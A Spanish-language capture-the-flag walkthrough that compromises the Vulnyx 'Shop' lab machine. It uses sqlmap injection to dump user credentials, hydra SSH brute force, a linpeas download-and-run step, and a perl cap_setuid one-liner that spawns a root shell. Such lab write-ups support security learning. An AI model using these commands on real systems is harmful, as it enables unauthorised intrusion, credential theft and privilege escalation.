Máquina Shop (Vulnyx)

Comenzamos con averiguar la dirección IP de la Máquina Víctima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Víctima: 10.0.2.5

Comprobamos si tenemos conexión con la Máquina Víctima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.5

Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn 10.0.2.5 -sVC

Como podemos comprobar la Máquina Víctima tiene abiertos los puertos 22 y 80.

Comprobamos que es lo que corre en el puerto 80.

A continuación, realizamos con la herramienta FFUF un fuzzing web, para ello ejecutamos el siguiente comando:

$ ffuz -u http://10.0.2.5:80/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

Encontramos el directorio administrator.

Accedemos al directorio y nos encontramos con un login, comprobamos con un admin|admin dándonos un error.

A continuación, arrancamos la herramienta burpsuite para interceptar la petición.

Podemos comprobar si el formulario es vulnerable a SQL Injection, para ello copiamos la petición a un archivo (sqli.txt).

A continuación, con la herramienta sqlmap ejecutamos el siguiente comando para ver las bases de datos:

$ sqlmap -r sqli.txt --dbs

Atacamos a la base de datos Webapp para ver las tablas, para ello ejecutamos el siguiente comando:

$ sqlmap -r sqli.txt -D Webapp --tables

Volvemos a atacar la base de datos para ver los registros en la tabla Users, para ello ejecutamos el siguiente comando:

$ sqlmap -r sqli.txt -D Webapp -T Users --dump

Copiamos los usuarios en un archivo (user.txt) y lo mismo con las contraseñas en un archivo (pass.txt).

Con la herramienta hydra realizamos un ataque a ssh para comprobar si algunos de los usuarios junto con su contraseña es válido para conectarnos a la Máquina Víctima via ssh, para ello ejecutamos el siguiente comando:

$ hydra -L user.txt -P pass.txt ssh://10.0.2.5 -T 64 -I

A continuación nos conectamos por ssh, para ello ejecutamos el siguiente comando:

$ ssh bart@10.0.2.5

Una vez dentro, con el script Linpeas.sh buscaremos opciones para escalar privilegios, previamente lo descargamos en la Máquina Víctima, para ello ejecutamos el siguiente comando:

$ wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Lo ejecutamos, para ello ejecutamos los siguientes comandos:

$ chmod +x linpeas.sh
$ ./linpeas.sh

Como podemos comprobar el binario perl tiene la capabilities cap_setuid siendo posible utilizarlo como una puerta trasera para mantener el acceso privilegiado manipulando su UID del proceso, por lo tanto nos vamos a la página gtfobins a mirar el payload para así explotarla.

 
 
Lo podemos ejecutar directamente o en un script:
 
$ ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
 
¡¡¡Ya somos root!!!
 
Ya podemos leer las flags de user y root.